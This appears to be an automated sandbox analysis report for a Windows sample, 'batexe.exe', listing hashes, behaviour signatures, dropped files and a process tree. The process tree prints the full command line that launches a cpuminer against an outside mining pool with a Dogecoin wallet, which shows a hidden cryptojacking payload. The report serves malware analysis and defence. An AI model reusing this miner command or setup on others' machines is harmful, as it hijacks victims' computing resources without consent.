Analysis

  • max time kernel
    299s
  • max time network
    304s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-ja
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
  • submitted
    19-02-2024 14:09

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2396
    • C:\Users\Admin\AppData\Local\Temp\F637.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\F637.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\F637.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3144
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\88.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2740
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:5708

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\88.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\F637.tmp\b2e.exe

    Filesize

    6.9MB

    MD5

    171891a8adf847249af2c516550384c3

    SHA1

    241e8963e767dc91fb1ec738ce9bdb3081ade6b0

    SHA256

    7e3048ce9943fb0cb9bf1c23fe1a1676d52cc99ae650a6781be26facccac5fff

    SHA512

    4ae99d737e4f584f5a6b82229bf4c24abad3afee273c6115dcdc74b2d9ed56d13a0aac714192d8e477c38f896e7c5696f6b10d0f9c4d3aaf54c16918ddd0e6da

  • C:\Users\Admin\AppData\Local\Temp\F637.tmp\b2e.exe

    Filesize

    2.6MB

    MD5

    64d755715f1c5d6c853e3bac99f37d2d

    SHA1

    490635e724ad5eb7dd7c4e64f1b8f8db65b18bf7

    SHA256

    40fe4f48290042bf3c5919937008e28461a22a27a8e66caf40313f875ed726c6

    SHA512

    6d8ccb5cf0c8cf26b8a1981ccbdfa3cb49506f7c4f03f24c8471fdb1b3a8b1c312509b054c2112a32165b1bead97bb1f4efe44b031211db8e440e9c0a2dfdb4b

  • C:\Users\Admin\AppData\Local\Temp\F637.tmp\b2e.exe

    Filesize

    2.6MB

    MD5

    f39e075a3b06c0959c3e6737a5f8b61b

    SHA1

    70acaffc9a68e68c08aa4d5f4e7a8558d25c90ce

    SHA256

    82d60182222aea29938394d46674a1273b4c36bc2128eda5d1e51d73c75f5a32

    SHA512

    5aafae17479f96d0da92f5d3f19fca813e316e5aeea234a3bf247bed0f5aa713a9dcf7503daee6a3dc5a6d2ac358bc14d8df1400a0ac247c7793fea0905c7326

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    1.5MB

    MD5

    7af1d3271ef5bf2b1fd29918d8b9922d

    SHA1

    038b8b6ef87dbff71cc0ae740671f9cdbed25944

    SHA256

    f2d997ea4ca000ba975777b9a5b9e90be401a7d4d4cb2cd20e67583939999cba

    SHA512

    ad0672a9fab77825b1b5486a92f68133b2d91637296add9ee240ca4492e1d2e26b182f284becfe48849273cddff64be85253b8a0ac7081585a53cefc4f0125d9

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    1.5MB

    MD5

    1425399e04d7f5ba0a288a42641d82c7

    SHA1

    247fcd2fc199f111a4e2e6b5e0923474550285ff

    SHA256

    8c661b9bde222da8ad5507debbaf869918b37d96a847e1631b4b328ec26ba6dd

    SHA512

    7f6033b9ac054946e69cc7a4d0fbae37df8515191649105400c6a7cafefa6a8eda44b743a290f2a7a3d9038f41bc1588496fe74f4028dc08c569f55b75cd9b26

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    836KB

    MD5

    aeab40ed9a8e627ea7cefc1f5cf9bf7a

    SHA1

    5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

    SHA256

    218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

    SHA512

    c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    1.2MB

    MD5

    7cf672bee2afba2dcd0c031ff985958e

    SHA1

    6b82a205db080ffdcb4a4470fce85a14413f3217

    SHA256

    c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

    SHA512

    3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    1.8MB

    MD5

    ede12298f008ac2303b101ffd5c99181

    SHA1

    b4944ea68398a1fc0972e7c5757060f00ea8e800

    SHA256

    89516e7be3ee574c335bb87fa9ae1d16afe583ebeed8f60d9c45f45d261f1a01

    SHA512

    0677228c0a9ff52257c3a2d573dead9d4974efee8d03ec1f35a6062cdce1d9bcada6f857ac3f6942d406a1183ebeb1e3c520194872f4dbc330a9687dd65cf84a

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    1.1MB

    MD5

    df57c2649135e22278b38d92f7a60383

    SHA1

    fefde9dcbf38546a2c9a16258300da3960f1c44b

    SHA256

    cead9362c701e579596dd188d5b6397176fb88a37d2c404a5a07e03d50b11e85

    SHA512

    a233a6d07cc01283f7b768a7b79bdd016d02522377acaae748f1513874c05641566433e1ba1b0c4f9a27a23e096d7c6ef1afc214d9810ebb5ba155ef4d605503

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    1.4MB

    MD5

    e514aba24d902e9258fbbe3c471d6eaf

    SHA1

    b671f74533f4b43587fec6fdcd49094cb340ffda

    SHA256

    ec943efbae6d2326e46de7fdd2abd641b5da242621522c9edc1b308ea11b320c

    SHA512

    437bd8e20ef45de43723bb11c4a29b2a11902d10ff1983dde253be8d5cf7f88c097ecbd41aa58738086b2a60c1ea9341a5ad35d30326896b255a82aa69485445

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • memory/2396-9-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB

  • memory/3144-58-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/3144-7-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/5708-59-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5708-64-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5708-46-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/5708-47-0x0000000001140000-0x00000000029F5000-memory.dmp

    Filesize

    24.7MB

  • memory/5708-48-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5708-53-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5708-45-0x00000000635D0000-0x0000000063668000-memory.dmp

    Filesize

    608KB

  • memory/5708-43-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5708-44-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/5708-74-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5708-79-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5708-84-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5708-89-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5708-99-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5708-104-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB